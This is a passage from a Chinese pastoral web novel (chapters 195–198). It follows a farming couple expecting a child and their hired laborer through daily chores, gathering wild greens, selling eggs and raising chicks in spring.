天刚擦黑,裴厌在灶房烧水,突然觉得屋里暗下来,于是出来,见刘大鹅还在干活,开口道:“刘哥,不早了,拾掇拾掇回去。” “嗯嗯。”刘大鹅放下手里的刀和竹子,把劈好的竹片归拢好,这才拿起放在一旁的竹筒往外走。 他略显紧张,见裴厌神色如常,连说也没说一句,惴惴不安的心才落下。 刘大鹅离开以后,裴厌把狗喊进来,关好篱笆大门,一天的劳作结束了,灶房里水已经烧开,只等盥洗后上炕睡觉。 蜿蜒向前的小土路上,刘大鹅右手捏着竹筒,快走出树林时,手劲才松了松,不再捏的那么紧,整个人也放松下来,带着一点喜悦匆匆往家赶。 东家人很不错,不会叫他一直干到天黑才回去,每每太阳落山以后,就会让他走,偶尔晚饭吃得早,他会继续干一会儿活,要么裴厌催他,要么他自己看着天色就知道该回去了。 手里的竹筒是他今天自己做的,正好有那么多竹子,临时用的竹筒,砍下一截就能使,连盖子都不用做。 一想到竹筒里的几块烧鸡肉,刘大鹅黑黝黝的脸上露出一点笑意。 他知道东家去镇上买了不少东西回来,看见那两只活乌鸡时,明白怎么回事,他向来话少,什么都没问也什么都没说,照旧干自己的活。 吃晚饭时,没想到给他的那碗菜里,上头竟搁了几块烧鸡,不多,就四五块,可也叫他愣了一下。 和别的东西不一样,烧鸡是在镇上花钱买的,一只母鸡在四十文左右,做成烧鸡只会更贵。 他吃饭是和主家分开的,因此看不到裴厌和顾兰时神色。 自打来了以后,吃饭喝茶从没有被苛待,他默默看了一会儿烧鸡,确定这是给他吃的,才拿起筷子夹了一块最小的肉。 上一次吃烧鸡已经是好几年前的事,之前的东家过年给他们长工放年假之前,都会做一顿好饭,鸡肉猪肉都有,不过都是自家做的,和镇上卖的这种烧鸡全然不同。 想起家里人,烧鸡再香酥,他尝了一小块就没再动,直接去砍了一截竹子,将剩下的四块烧鸡装进去。 等吃完饭后,裴厌看见竹筒,他嗫喏着解释,好在裴厌什么都没说,点点头就去忙了。 土路还算平坦,刘家村就在前面了。 刘大鹅进村以后朝着再熟悉不过的矮墙那边走,院门没有上门闩,是给他留的门。 “大鹅?”刘老娘在屋里喊了声,随后便响起一阵压抑的低咳,是他老爹。 “娘,是我。”他应一声,把院门关好才往进走。 天黑蒙蒙的,已经有点看不清,刘大鹅径直往老娘屋里走,推门进去。 刘老娘一入夜眼神就不好,听见动静问道:“大鹅?” 刘老爹还在咳嗽,像是破旧的老风箱,天一黑就有点冷,他常常这样。 刘大鹅压抑着那份喜悦,说:“娘,东家给了几块烧鸡肉,你俩尝尝。” 他说着,凑到土炕跟前,就把竹筒里的肉倒出来在手心。 刘老娘坐起来摸索着,从他手里拿了一块,先是凑到鼻子跟前闻闻,咽着口水说:“是烧鸡啊,烧鸡就是这个味儿?” “爹,你也吃一块。”刘大鹅又把手伸向他爹那边。 刘老爹摆摆手,靠着炕头半躺半坐,咳嗽劲好不容易过去,他喘着气自己给自己顺心口。 “天都黑了,要睡了,再吃克化不动,你拿去,给小枣儿他们吃。”刘老娘又把肉放到他手里。 小枣儿是刘大鹅大女儿,他还有个小儿子叫二娃,年纪都小,逢年过节才能吃两口肉,烧鸡这样的好东西,连见都没见过。 别说孩子,他爹娘也是没吃过的,他在外头做工挣工钱,赚不到什么大钱,家里人都很俭省,这几年又艰难些,无论夫郎还是老爹,时不时就要抓药。 “我还有,这两块你俩吃。”刘大鹅直接拣出来两块肉,摸到旁边桌上茶碗,发现里面没有水,就把肉放了进去,碗塞进他娘手里。 刘老爹又咳嗽起来,刘老娘闻着窜进鼻子里的烧鸡味儿,好半天才开口:“他爹,明儿煮鸡汤吃。” 另一边,刘大鹅回屋以后,两个孩子已经睡了,他夫郎撑着在等他。 “芽儿,东家给了几块烧鸡,爹娘都吃了,给你留了一块,尝尝。”他把竹筒递给夫郎,坐在炕边很是欢喜。 白芽儿接过竹筒,就闻到一股子肉香味道,他轻咳几声,缓过劲后低声说道:“明天给小枣儿他俩吃,我就不吃了。” 刘大鹅沉默一会儿,劝道:“两块呢,你吃一块,他俩分一块,孩子小,能吃多少。” 孩子小,贪嘴吃,平时又见不了多少荤腥,他心里知道,只是觉得夫郎病了许久,也该尝一口好的。 孩子睡着了,在炕上翻身,两人低声又说了几句话,最后白芽儿还是没吃,打算明天把鸡肉块撕成条,加水煮汤,人人喝半碗,都能沾点油星。 * 月亮被云挡住,只剩星星一闪一闪。 顾兰时躺在炕上没睡着,一会儿想起老郎中交代的话,一会儿又想起糖炒黑芝麻的味道,微甜不腻口,吃起来别有一股香味。 鸡腿也好吃,肉多,一口咬下去分外满足,腌梅子和酸杏儿他也尝了,裴厌说太酸,他却不觉得倒牙,就是不能多吃。 脑子里乱糟糟一片,他翻个身,依旧没有睡意,发现裴厌清醒着,低声问道:“你也睡不着?” “嗯。”裴厌轻声答应,过了一会儿,开口道:“你觉得,是男孩女孩还是双儿?” 顾兰时其实想过这个,说:“不知道,想了没想出来,你想要什么?” 裴厌思索一会儿,同样一片茫然,他沉默一会儿开口:“都行,反正是孩子。” 顾兰时一下子笑出了声,不是孩子还能是什么。 自知说的话有歧义,裴厌迷茫的眼中有了一点笑意,等顾兰时笑过以后,他低声说道:“睡吧,不早了。” “嗯。”顾兰时答应着,往他怀里靠了靠,找了个舒坦的姿势闭上眼睛。 风将窗纸吹得轻响,夜色融融,月亮从云层后面出来,整个村子静谧安详,几乎没什么动静,许多人已经熟睡。 “你想过名字吗?” 顾兰时在安静中突然开口。 裴厌即使闭着眼睛,人也是清醒的,同样没睡着,他搂了搂怀里的人,说:“想了,没想好。” “我也没想好。”顾兰时轻叹一声,还不知道是什么呢,取名确实太早了。 两人又不说话了,屋里再次陷入安静,直至睡意来袭,不知不觉就入了梦。 * 巳时还未过半,太阳明晃晃挂在天上。 春风和煦,似是一张无形温和的大手,轻轻掠过脸侧身畔。 大地绿意更繁盛,零星野花点缀在其间。 灶房里,裴厌系着襜衣,衣袖挽起,露出修长结实的小臂,正执刀剁鸡块,咚咚咚响个不停,案台上其他东西似乎也随着大力在颤动。 黑色的乌鸡肉块剁好后直接下锅去焯,过一遍水便炖上了。 至于头一遍的肉汤水,裴厌舀出来后没有倒,等会儿给狗泡馒头。 不少人养狗会烫麦麸谷糠给狗吃,他家三只狗吃馒头惯了,对烫的食连看都不看一眼,他俩对狗没有那么吝啬,养好了才能震慑住贼。 干这些灶上的活,裴厌越来越熟练,上一只乌鸡是整只炖的,今天顾兰时说想吃鸡肉块,也方便分舀,他就照着做了。 鸡肉没有来回炖汤,炖好以后连汤带肉最多也就吃两天,要想俭省一点,留些鸡肉就能多炖几次。 裴厌没在这上面省,再去买就好了。 二月快到底了,天渐渐热起来,顾兰时也有了一点反应,熟肉还好,生肉会觉得腥气,因此最近炖肉切肉都是裴厌在做。 给灶底添好柴火,裴厌又出来在灶房门口择菜。 家里的菜刚种下,还有没种完的,刘大鹅正在前边大菜地里撒种盖土,篮子里都是他刚才出门挖的野菜。 院里的小菜地已经停当了,一行行很齐整,只等发芽出苗。 小菜地也有细土垄隔着,见灰灰和灰仔追逐撵打,直接踩进菜地里,裴厌呵斥一声,狗立马就从菜地里出来,觑着眼色没敢再打架玩,一个抻懒腰一个伸爪子去抓柴堆前的一块木头。 顾兰时从屋里出来,他闲着没事,蹲在裴厌旁边帮忙择菜。 “坐着。”裴厌从灶台前拿了个小凳出来。 顾兰时笑眯眯坐好,手上活没停,说:“阿奶给的菜种撒哪里了?” 裴厌伸手指了下东边小菜地:“最前面三行都是。” 顾兰时看一眼,道:“阿奶说出了芽,顶多二十天就能吃了,正是嫩的时候。” 一个冬天过去,最馋的就是一口新鲜脆生的菜吃。 前几天方红花过来,给了一小包种子,说叫小菜,是一种叶子菜,从番邦外域传进来的,司农司又培育取良,这一两年渐渐推及,如今也到他们这里了。 朝廷上的事庄稼人不懂,只知道有菜吃是好事。 小菜长得快又鲜嫩,方红花从娘家要来的,她自己留了些,剩下这些给他俩,要是好吃的话,留下几株让长老,好取种子,以后就能多种了,还能拿去镇上卖。 “嗯,最近天好,水也浇了,估计三五天的事,就能出芽。”裴厌把择好的野菜放在竹匾上,闻到一股酸甜味儿,抬眸问道:“吃梅子了?” “吃了几个。”顾兰时眼睛弯弯,笑着说:“还挺开胃,吃完我又吃了两块枣子糕。” 胃口一如既往的好,裴厌星眸有了一点笑意。 第196章 院落东边,竹篱围了一圈,鸡圈总算弄好了,裴厌和刘大鹅正在垒鸡窝。 鸡圈和院墙之间有约莫一丈宽的距离,正好做过人的通道,而篱笆圈后面,已经堆了不少石块,都是从山上背下来的。 今年多了一个汉子干活,无论做什么都快了点。 篱笆圈和山壁之间也有一条窄窄的小路,挨着石壁的山脚下,栽了十来棵树苗,不是桑树就是香椿树,去年从山上挪回来的,如今都成活了。 桑树叶随风颤动,顾兰时总觉得今年说不定会结桑果,吃桑果不着急,还得再等等呢,香椿芽倒是能掰了。 树苗还小,有的踮起脚伸长胳膊就能够到最上面的椿芽。 顾兰时手上用力,一个香椿芽就落在手里,他脚跟落回地面,鼻尖全是浓郁的香椿味道。 竹篮已经有一些红色的香椿芽,他俩在山上随便挖的树苗,香椿芽颜色不一,红色偏多,绿色的椿芽还比较小,他挑着掰了几个。 遇到较高的树,他拿过靠在一旁的竹竿,竹竿上绑了一根弯曲的铁钩,伸长了勾在香椿芽上,胳膊一用力,椿芽就掉在地上。 在鸡圈里干活的裴厌直起腰,朝东边看一眼,见没什么事,又去忙手里的活。 勾了好些椿芽下来,顾兰时放下竹竿,提着竹篮去捡,问道:“炒鸡蛋还是拌豆腐?” 裴厌想了一下,说:“炒鸡蛋。” “好。”顾兰时把地上的香椿芽捡完,提着竹篮拿了竹竿往外走,又道:“改天上山去找,多勾些,回来腌了,做小菜吃。” “行,知道了。”裴厌答应着。 时令鲜野仿佛带着春天的滋味,年年吃都不腻。 香椿芽味道很浓郁,炒着好吃,腌了下饭下馒头也香,放在小罐里,随时想吃了就夹出来一碗半碗,很方便。 葡萄藤葫芦架都已经发出新叶,在风中轻摆。 顾兰时路过葡萄架时多看了两眼,葡萄藤爬的很快,已经占据了木架大半,今年再长,就把木架占满了,到时候得修剪修剪。 日子过得很快,不知不觉就到了三月中旬,菜地和树木的变化一天大过一天,外面地面野草野花遍地,仲春不再带着残冬寒意,野菜很轻易就能找到。 进院门的时候,顾兰时听到西边鸡圈里母鸡咯咯哒叫,他脚下没停,等把竹篮放在灶房门口,这才取了蛋篮去摸鸡蛋。 西屋腾出来了,那十五只母鸡和鸡群混在一起,不再需要烧炕取暖。 放它们出来之前,裴厌用红漆在它们脚旁点了标记,等今年深秋,要是这几只依旧肥壮,照样让它们下蛋,要是露出疲态,就另换一批。 到今年秋天,会有新母鸡长成,到时候有的是母鸡能挑。 在鸡窝翻找,很快就往蛋篮里拾了七八个鸡蛋。 如今蛋价又落下去,五文钱了,前两天攒够二百来个,就让裴厌拉去镇上卖了。 搜寻一圈,顾兰时提着蛋篮又出去,关好篱笆门,一转身大黑蹲在旁边等他,他笑一下,伸手揉揉狗头,哼了两句不成调的曲子往家里走。 五十来只母鸡,平时喂养铲粪,扫洒换稻草,母鸡一旦出现蔫头巴脑的情况,还要操心是不是病了,得赶紧隔开,喂些草药熬的水,连鸡圈也得好好拾掇干净,点些药烟去熏。 活儿是繁琐了些,可收获让人满足,光这一圈就拾了十二个鸡蛋,再到下午,肯定还有母鸡会下蛋。 鸭子清早起来时裴厌就去摸过蛋,六只母鸭都下了,一共六枚鸭蛋。 鸡蛋新鲜,香椿芽新鲜,顾兰时在灶房做饭,心想下午他没事,该把鸭子赶出去游游水。 炊烟飘起,裹在其中的灰烬被风吹远,天上时不时飘来云朵遮住太阳。 鸡蛋炒香椿的味道顺着风逸散,裴厌和刘大鹅把木头架在新起的鸡窝顶上,闻到香味后顿感饥饿。 “饭好了!”顾兰时没有出来,隔着院墙高高喊了一声。 “知道!”裴厌应道,他拍拍手上土屑木屑,说:“刘哥,先吃饭,吃完再干。” “嗯。”刘大鹅把木头嵌好,用手试了试,见结实才放心。 天早已回暖,刘大鹅洗过手,直接把自己的碗筷端到院里,坐在屋檐下吹着风吃。 小竹匾里放了三个糙馒头,菜碗放在脚前的地上,他端着米汤碗,呼噜噜先往嘴里扒拉。 这两个大碗和筷子是他自己带来的,以前在一户人家时,被特地吩咐过,弄两个他自己的碗,省得和主家混了,他不语,照着办了,这样一来也好,他自己的碗筷取用更方便。 菜碗依旧满满的,除了香椿炒鸡蛋以外,还有拌灰条菜。 灰条菜居多,可香椿鸡蛋对他来说已经不少了,毕竟是大碗。 像这样每天都有油水,比上一户人家吃的还要好,是他没想过的意外。 高兴的同时又有点遗憾,他自己在外吃得这么好,家里却还在省吃俭用。 幸好,最近天暖,他夫郎身子好多了,能下地干活,前年因他爹病重,卖了家里良田,只剩两亩薄地,地和鸡鸭靠他夫郎和老娘差不多就能照顾好,他老爹拄着拐也会去帮忙。 如今鸡鸭都下蛋了,卖了就能贴补家用,上个月月底领了工钱带回去,让他娘去买了半斤肉,给一家老小解了解馋。 偶尔东家会给他几个鸡蛋鸭蛋,有时也能用竹筒带回去几块鸡肉鸭肉,或是些肉汤,小枣儿和二娃吃的那样香,每天都盼着他回家。 如今他夫郎不用吃药,少了一笔花销,慢慢干着,每月都有钱拿,日子就好了。庄稼人,多数都是这么磕磕绊绊过来的。 灰仔闻一闻食盆里的馒头,因今天没有肉汤,它嫌弃得不行,吃一口又吐出来,摇着尾巴进了堂屋,炒鸡蛋的味道它早就闻见了。 刘大鹅看一眼从旁边进去的狗,他来了一个多月,这三只狗吃得有多好,全看在眼里,东家真是能舍得。 不过看看这么大的菜地,还有那么多鸡鸭,就知道是为何了。 别说冬天毛贼多,平时也有呢,夜里稍不留神,被人家钻了空子,后悔都来不及。 他家也养了鸡鸭,一到晚上他老娘就赶进自己屋里,生怕被惦记上。 风吹进堂屋,太阳又被云遮住。 灰仔摇着尾巴来蹭腿,顾兰时看它一眼没理会。最近吃得好,人还没挑嘴刁钻呢。 盘子里的香椿炒鸡蛋不用想,吃到最后裴厌连盘子都用馒头擦了,根本没有剩余的油水。 至于顾兰时,他娘交代过,让少吃香椿,他馋是馋,尝了两筷子就打住,明年再可劲儿吃。 见讨不到好,灰仔尾巴耷拉下,原本不想吃饭,在看见灰灰竟然去吃它食盆里的馒头了,一下子急得嗷呜直叫,立马跑出去和灰灰打架。 裴厌吃了个半饱后才慢下速度,咽下米汤后说:“下午再忙一阵,鸡舍就搭好了,明天没事,我去找三伯问问,看他能不能找几个盖房的匠人,我记得周家村有个盘炕匠人,手艺不错,改天过去找一趟大姐夫。” “嗯。”顾兰时点点头。 他三伯以前做过工匠,跟着人到处奔走去盖房,后来上了年纪,手里攒下钱后,正好村里有人卖地,就买了几亩,留在家里踏踏实实种地,这几年只有闲时才去做做工。 地化冻了,盖房的事要提到面上来。 今年说忙也是挺忙的,哪儿哪儿都有活。 吃完饭后,猪驴鸡鸭要喂一顿,刘大鹅自发就去干了。 洗碗的事落在裴厌手中,他不觉得这样有什么。 顾兰时肚子已经有了轮廓,脸颊也长了点肉,直到现在,胃口还是那么好,酸的能吃,辣的有时也馋,就没他不爱的,偶尔才会不舒服吃不下。 苗秋莲看他俩大咧咧不当一回事,想怎么吃怎么吃,特意叮嘱了一番,叫悠着些进补,慢慢来,一下子补得太过,对身子孩子都不好,人常说过犹不及呢。 裴厌这才不买那么多东西了,零嘴备一两样就行,鸡蛋鸭蛋和各种肉隔三差五轮番吃着,有时还会给顾兰时换换口,去河里捞点小鱼小虾。 顾兰时掰了半块馒头就菜吃,随口问道:“下回送鸡蛋什么时候?” 裴厌放下饭碗,说:“再过三四天。” “到时还挖野菜吗?”顾兰时又问。 裴厌开口:“挖,多带点,就算卖不完,回来咱们自己吃,小菜卖的挺好,到时再带一些去。” 前天他去镇上送鸡蛋,用几个竹篮竹筐拉了各式野菜,如今自家种的菜蔬瓜果少,也就春菜和小菜能收获,野菜很便宜,酒楼和酒馆都要了一些,他再沿街叫卖,回来时没剩多少菜叶。 他俩从来不嫌挣的钱少,慢慢倒腾,攒一攒就多了。 第197章 几声狗叫吵醒顾兰时,他迷瞪着醒来,坐起又打个哈欠,等听见裴厌的声音,连忙下炕穿鞋。 太阳被云遮住,不至于晒得眼睛睁不开,大黑几个在篱笆大门后不停转圈,看见他来之后才消停。 “来了来了。”顾兰时说着,上前把门闩取下,从里面打开了门。 裴厌背了一筐野菜,手里的竹篮满满的,后面刘大鹅也是如此,他俩上山弄了不少野菜。 顾兰时跟在裴厌旁边走,笑着解释:“你俩出去没一会儿,我乏的不行,就关门睡了一会儿。” “嗯,想睡就睡。”裴厌说着,把手里的竹篮给他看,又道:“你不是想吃炒枸杞芽,底下都是。” 顾兰时接过竹篮,随便翻了一下,最上面是大耳韭和野蒜,各有一大把,底下就是半篮子枸杞芽了。 “这么多,够两天吃的。”他说道。 竹篮塞得满,有点重量,裴厌从他手里又接过篮子,开口:“今天炒着吃,明天烧汤,就不带去镇上卖了,尽管吃。” “好。”顾兰时答应着。 到了院里以后,裴厌和刘大鹅把竹筐卸下来,灶房门后面的背阴处,还放着两筐他俩上午去竹林挖的春笋和一筐苦菜一筐铁苋菜。 鲜嫩的苦菜和铁苋菜是好东西,上次去镇上卖得很好,今天就多挖了些。 麦地拔过一遍草,水田秧苗刚栽下,这两天地里的活不着急,想着明天一早要去镇上送鸡蛋,今儿就得把该带的野菜山货都备好。 裴厌和刘大鹅喝茶歇脚,顾兰时坐在灶房门口整理这些野菜。 大耳韭和野蒜放在一个竹篮,剩下的枸杞芽留着。 裴厌背回来的竹筐一半是刺芽一半是香椿芽,红色的椿芽一拿出来,浓烈香气扑鼻而来,顾兰时把香椿芽放进一个篮子。 竹筐大,刺芽和香椿芽挺多的。 云跑远了,太阳露出来,他把香椿篮子顺手放进灶房门里的阴凉处,明儿一早才往镇上拉,不能被晒蔫了。 见底下的全是刺芽,他抬头问道:“给咱们留些?” 裴厌点点头:“留一碗,明天回来我买一吊肉,用肉片子炒。” “好。”顾兰时两手从竹筐里捧了一大捧出来,放在旁白的空竹匾上,筐里余下的那些不再打动,拎起筐子放在香椿篮子旁边。 刘大鹅带回来的竹篮有很嫩的红叶野苋和野豌豆苗,各占一半篮子。 他把最上面的野豌苗装进另一个竹篮,和野苋菜分开,这样明天去卖的时候一目了然,不会那么凌乱。 至于剩下的竹筐,最上面是半筐野葱,顾兰时照样把野葱掏出来,塞进一个空篮子里。 底下则是嫩蕨菜,蕨菜没有叶子,茎秆分明,码在筐里看起来很齐整。 “要留别的吗?”顾兰时问道。 裴厌看向那几个竹筐竹篮,说:“野豌豆苗留一把,野苋也留些,别的就算了,家里不是还有。” 灶房放菜的木盆里,有他晌午吃过饭后洗干净的野葱和野蒜,最近他在灶上干的活多,对这些都清楚。 “行。”顾兰时起身,把大大小小一共七个竹篮竹筐,全都放在灶房阴凉处,只要不晒到太阳,到明天还是新鲜的。 想到刘大鹅跟着一起上山到处找野菜,他又取了一个竹篮,把香椿、刺芽、枸杞芽还有蕨菜等各自抓了一把,这些野菜山上好找,河道野地里少。 再放几根竹笋,忽然有影子从头上遮住了光,顾兰时下意识抬头。 “这是给谁的?”裴厌问道。 顾兰时笑一下,说:“给刘哥晚上拿回去,又不值钱,等下我再给阿奶拿点香椿和枸杞芽,她爱吃这两样。” “我也想说,给刘哥装一些。”裴厌说着,把竹篮提起来,出去说道:“刘哥,这个你今天带回去,先放灶房里头,走时别忘了。” “嗯嗯。”刘大鹅讷讷点头应声,依旧木讷寡言。 他觉得自己一个长工,来就是给东家干各种活的,性子又太老实,哪怕裴厌常常给他东西,也不会觉得自己该得那一份,只有裴厌给他他才接着,不会乱惦记。 之前的东家离得远,他只能住在人家家里,干了几年工钱还算不错,只是不得不辞掉。 这回刚来,头一两年工钱是有点少,但胜在能常常回家,还能带一些东西回去,家里人多少可以吃好一点,他心里越来越觉得这个差事找对了。 顾兰时把给方红花的东西装好,又问裴厌:“春菜和小菜明儿一早再挖?” “嗯,这个不急。”裴厌说着,走到笼屉前,从里面取了一碟甜米糕,是昨天他蒸的,卖相味道都还不错。 “饿了?”顾兰时笑问道。 裴厌拿起一块米糕,说:“不是很饿,先垫垫肚子,天色还早,吃完好去打猪草。” 他把碟子递向顾兰时,顾兰时摇摇头:“我不饿,刚睡醒。” 两人往出走,裴厌让刘大鹅也吃。 “那我去找阿奶,一会儿就回来,等我回来再去打猪草。”顾兰时交代一句就走了,他懒得去拿钥匙,锁门太麻烦了。 “知道了。”裴厌嘴里有东西,含糊答应了一声。 大黑慢悠悠跟在后面,顾兰时没有撵狗回去,反正裴厌在家呢。 看他没有发话,灰灰和灰仔兴奋地追上来,发现是去村里,两只都跑在前面。 一进村子,看见前面有三只狗,灰灰和灰仔跑过去,双方都十分谨慎,试探着去闻。 大黑始终跟在顾兰时旁边,它性子孤僻,很少和村里的狗玩,因体型大又凶,其他狗见了它,很少会来挑衅。 见灰灰和灰仔没有和其他狗打架,顾兰时就没管,路过家门口时,二黑趴在院里晒太阳,听见门外的脚步声,一抬头看见是他,摇着尾巴跑出来。 见院里没人,但能听到灶房里不知剁肉还是剁菜的动静,顾兰时就让二黑跟着,一起往祖宅那边走。 灰灰两个和村里的狗玩到了一起,跑着跳着,跟小孩一样。 大伯一家不是出门干活就是有事外出,只剩阿奶在家里,顾兰时没有久待,说几句闲话,放下竹篮就走了。 回来之后,裴厌和刘大鹅推着板车就出门了。 刘大鹅话少,不怎么提起家里人,顾兰时之所以知道他家境况,还是串门子时听刘桂花说的,一家子老的老小的小,病的病,给点野菜让带回去,就能多一碗菜吃。 * 乌云聚拢,绵绵山脉中雾气笼罩,空气中弥漫着潮湿水汽。 轰隆隆—— 远处有闷雷声传来,天上风卷云动,一看就快下雨了。 顾兰时又站在门口张望,清早裴厌出门的时候天色还好,不想变得这么快。 风吹来有点冷,一滴雨很明显落在脸上,他抬头看一眼,手上又有一点水迹落下。 不见人影,他只好转身回去。 谷场上,刘大鹅把早上晒出来的草又用木叉收回棚里,独自忙个不停。 晒菜的竹匾已经收了,顾兰时目光在院里转动,把斧头拾起放进柴房中,其他再没有什么。 渐渐地,雨大了,狗跑进堂屋一起避雨,刘大鹅拘谨地坐在堂屋门口,捧着茶碗看外面。 顾兰时给泥炉里添了柴,切了几片老姜直接丢进陶罐,烧滚以后就是姜汤了,等裴厌回来喝上两碗,好去去寒。 他和刘大鹅没有多少话可说,心中也觉得拘束,便回屋待着了。 窗子开了一半,有雨水飘进来,他上前关好,还没转身呢,就听见狗冲出去的动静,于是又把窗子打开一条缝,见刘大鹅急匆匆往外走,连斗笠都没戴,他眉眼笑意不自觉浮现。 站在堂屋门口一看,果然是裴厌回来了。 顾兰时拿起一把油纸伞撑开,取下挂在墙上的两个斗笠,笑盈盈走进雨幕去接。 “给,和刘哥一人一个。”他近前把斗笠递给裴厌。 裴厌身上头上已经淋湿,但没有拒绝。 雨越大了,裴厌来不及解释,一进院立即把车上两个竹筐拎起,大步跑进堂屋。 刘大鹅帮忙卸筐解车,又牵着毛驴去后院。 “怎么了?”顾兰时打伞跟在后面,一进来没有雨声喧哗,听见竹筐里叽叽叽的叫声,他一下子就明白了。 “买了鸡仔?”他眼睛一亮,随即又有些担心,放下油纸伞,打开竹筐盖去看。 “嗯。”裴厌解下斗笠,用手抹一把脸上的雨水,说:“卖菜的时候正好碰到,就买了六十只,花了三百文,没想到菜还没卖完,天就变了,我紧赶慢赶往回走,半道上雨就来了。” “我给擦擦。”顾兰时怕鸡仔淋了雨生病,雏鸡小,从镇上拉回来一路颠簸,本来就容易死,这下又淋了雨,更麻烦。 他匆匆取了一块麻布来,从里头抓起一只擦拭小脑袋和绒羽,嫩黄的鸡仔一直唧唧叫。 裴厌自己取了布巾擦脸擦头发,见夫郎蹲在那里,提了椅子让坐下。 顾兰时一边擦鸡仔一边说:“你看看陶罐里的水滚了没,我放了姜片,你记得喝两碗。” 他转头看一眼浑身湿透的男人,又道:“先把衣裳换了。” “嗯。”裴厌答应道,转身往屋里走。 刘大鹅踩着雨水从外面进来,他已经把板车靠在屋檐下,见顾兰时在擦鸡仔,他搓搓手,嗫喏着问:“淋雨了?” “筐盖不紧,淋了些。”顾兰时没有客气,旁边那个竹筐也有鸡仔呢,他指了指说:“刘哥,你帮着擦擦,人多快一些。” “好好。”刘大鹅从木架上拿了一块麻布,拎起竹筐往旁边让了让,蹲在那里就开始忙。 等裴厌换好衣裳出来,同样先来擦淋湿的鸡仔。 不少雏鸡都有点蔫,浑身湿哒哒的,裴厌笼了一盆火,把鸡仔放进三个竹篮里,靠近火盆慢慢烤,过一会儿就把竹篮换个面儿。 顾兰时坐在火盆旁,自己烤烤手,顺便看着鸡仔,因竹篮深,鸡仔还小,倒是没有跳出来的危险。 裴厌擦着散开的头发,看一眼天幕,雨一时半会儿不会停,于是对刘大鹅说:“刘哥,下雨没什么活,你先回去,明天要是还下,不用着急,后天过来不迟,总之等雨停了再来。” 他拉过一筐没卖完的野菜,说:“斗笠和蓑衣你穿着,这菜淋了雨,放是不好放了,也卖不出去,你给家里带些。” 下雨干不了多少活,三个人在这里大眼瞪小眼没话说,还不如让人家回去歇一两天。 刘大鹅穿着蓑衣提了一篮子野菜离开,家里只剩下他俩,顾兰时明显自在了许多。 第198章 灰仔嘴巴贱,偷偷摸摸想叼鸡仔,它长得那么大,人又不瞎,裴厌抬手就扇了它一巴掌。 挨了打,知道自己犯了错,它灰溜溜走开,到墙角趴下了。 灰灰尾巴摇个不停,咧着嘴像是在笑。 顾兰时看它一眼,笑骂道:“没出息的,一看就在幸灾乐祸。” 转头见裴厌头发湿漉漉的,他摸一把,说:“天不是很冷,淋了雨不好,要不我去烧水,你把头发洗一洗。” “行。”裴厌原本想和他一起去灶房,但鸡仔在这里烤火,得有个人看着,火盆一直笼着也好,等会儿洗了头,刚好烤烤头发。 风雨势头足,不似前段时间的绵绵细雨,噼啪打在屋顶,又顺着青瓦倾斜流下,在屋檐前落成一片雨帘。 野澡珠的淡香随着蒸腾热气荡开,洗了两遍之后,头发干干净净,裴厌坐在火盆前拧头发,随后拿起葛布擦拭。 顾兰时看一眼竹篮里的鸡仔,有几只蔫头巴脑的,看着不大能成活,怕别的鸡仔压到,于是小心拿出来,把这五只放在旧竹匾上,轻轻推向火盆旁,再烤烤,说不定活了呢。 手上沾了脏东西,正好水还没倒,他蹲在堂屋门口用野澡珠洗干净手。 起身见裴厌侧着头擦拭,他笑着开口:“要不我帮你擦。” “好。”裴厌拧了拧水,才把布递给他。 顾兰时拿了个高凳坐在裴厌身后,一下子高出一截,能看见裴厌发顶了。 “长了,改天找个吉日,修剪修剪。”他一边擦搓一边说道。 “嗯。”裴厌低沉沉应一声。 顾兰时用五指作梳,往下捋捋发丝,裴厌头发很黑,平时束着不大留神,这么披散下来,真是黑发如瀑,摸起来也顺滑,就是有点长了,得剪剪。 “晌午想吃什么?”他问道。 裴厌坐在前面一直没怎么动,看见旧竹匾上一只小鸡往火盆那边蹭,目光落在鸡仔上,要是继续往前,就得拦一拦了。 好在鸡仔晃悠悠走到竹匾边沿时,被竹匾略高的边沿挡住,本身就弱,叽叽叫两声,一下子缩在那里不动了。 听见问话,他想了一下,说:“回来太急,肉也没买,用鸡蛋炒刺芽吧。” “行。”顾兰时答应道,又说:“再蒸一碗蒿菜,两样菜足够了。” “嗯。”裴厌往火盆里添两根柴火。 雨势不止,等头发干了以后,听着哗啦啦的雨声,顾兰时直打哈欠,离做饭还早,等裴厌给鸡仔倒了水和碾碎的陈米,两人进屋去歇。 风雨悉数被挡在外面,顾兰时躺下,因打哈欠眼角沁出一点泪水,他没摸到手帕,干脆就用手背擦掉。 裴厌脱了外衣,拉过自己的被角只盖住肚子,躺在外侧一时没睡着,说:“花家村有个秀才,要不去找秀才问问,看起什么名字好,还是说,上兴善寺添些香火,让里面的师父帮忙取个名字。” 两人闲着没事时就会想孩子名字,顾兰时困倦不已,想了一下开口:“去兴善寺吧,顺便,再给你求个平安符,如今戴的那个也久了,回头取下来,用红布包了放好。” 裴厌下意识伸手,隔着里衣摸了摸自己颈下的平安符,确实久了。 他翻身搂住夫郎,眼神分外温柔,低声说:“给你和孩子也求一个。” 顾兰时本来就困,一听到他低沉磁性的嗓音,越发昏沉,含含糊糊答应一声,往男人怀里蹭了蹭,说话间就睡着了。 裴厌没有再出声,搂着人也闭上眼,伴着外头雨声沥沥,屋里只剩均匀的清浅呼吸。 * 五指插在顺滑的头发里,顾兰时醒来有一阵了,见裴厌还闭着眼睛,他玩起对方散落的黑发。 “不睡了?”裴厌睁开眼,声音带了一丝微哑,平时挺忙的,晌午偶尔才会歇一会儿,今天正好下雨,他少见的,有点贪觉。 “你睡你的,我不折腾你了。”顾兰时笑道,同时收回了手。 裴厌长臂一展,将后退的人重新搂进怀里,大手从衣摆下面摸进去,已经三个多月,肚子明显起来了。 顾兰时也摸了摸自己肚子,肉肉的,他眉眼里带了几分天真,说:“不知道是我吃胖了,还是肚子里的长大了。” 裴厌笑了几声,开口:“没胖,是肚子里的崽在长大。” 其实顾兰时是胖了些的,脸就能看出来,最近不怎么干活,吃的又好,可在他眼里,只是长了一点该长的肉。 顾兰时在双儿里算高挑,长胖一些其实正好,以前太瘦了。 大手渐渐向上,温暖的掌心略显粗糙。 顾兰时轻喘着气,轻吻落在他微开的唇上。 风不停,雨未止,春情盎然,在紧闭的门窗里不得泄露。 * 春风花草香,万紫千红开遍,处处都是繁茂之景。 三月底,一场始料不及的倒春寒持续了几日总算过去,太阳明艳,高高挂在天上,叫人忍不住眯起眼睛。 顾兰时在院里晾衣裳,正忙着,忽然,大黑冲着后院汪汪叫,随即,猪叫声也响起,他把手里的衣裳随便搭在木架上,匆匆就往后院走。 